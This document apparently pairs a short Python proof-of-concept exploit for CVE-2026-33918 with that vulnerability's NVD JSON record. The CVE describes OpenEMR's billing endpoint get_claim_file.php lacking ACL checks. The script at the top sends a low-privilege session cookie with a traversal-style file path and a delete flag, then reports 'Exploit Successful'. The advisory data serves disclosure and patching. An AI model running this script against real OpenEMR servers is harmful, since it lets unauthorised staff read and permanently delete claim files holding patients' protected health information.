CVE-2026-33918

import requests # Exploit for CVE-2026-33918 # Description: Access control bypass allows any authenticated user to download/delete billing files. target_url = "http://target-openemr.com/interface/billing/get_claim_file.php" # Valid session cookie for a low-privilege user session_cookies = { "PHPSESSID": "valid_session_id_here" } # Example parameters (actual params may vary based on OpenEMR configuration) payload_params = { "file": "../../data/claims/batch_file.csv", "delete": "1" } try: response = requests.get(target_url, cookies=session_cookies, params=payload_params) if response.status_code == 200: print("[+] Exploit Successful!") print("[+] File Content or Deletion Confirmation:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-33918", "sourceIdentifier": "[email protected]", "published": "2026-03-26T00:16:39.627", "lastModified": "2026-03-26T16:27:29.090", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenEMR is a free and open source electronic health records and medical practice management application. Prior to version 8.0.0.3, the billing file-download endpoint `interface/billing/get_claim_file.php` only verifies that the caller has a valid session and CSRF token, but does not check any ACL permissions. This allows any authenticated OpenEMR user — regardless of whether they have billing privileges — to download and permanently delete electronic claim batch files containing protected health information (PHI). Version 8.0.0.3 patches the issue."}, {"lang": "es", "value": "OpenEMR es una aplicación gratuita y de código abierto para registros de salud electrónicos y gestión de consultorios médicos. Antes de la versión 8.0.0.3, el endpoint de descarga de archivos de facturación 'interface/billing/get_claim_file.php' solo verifica que el solicitante tenga una sesión válida y un token CSRF, pero no comprueba ningún permiso ACL. Esto permite a cualquier usuario autenticado de OpenEMR — independientemente de si tienen privilegios de facturación — descargar y eliminar permanentemente archivos de lotes de reclamaciones electrónicas que contienen información de salud protegida (PHI). La versión 8.0.0.3 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.0.0.3", "matchCriteriaId": "E3E098AF-42A1-4798-85A7-80052F19F809"}]}]}], "references": [{"url": "https://github.com/openemr/openemr/commit/f6d98d0102df0a8f131be560d9208fb65fba6188", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openemr/openemr/releases/tag/v8_0_0_3", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/openemr/openemr/security/advisories/GHSA-g3p5-5grq-m65m", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}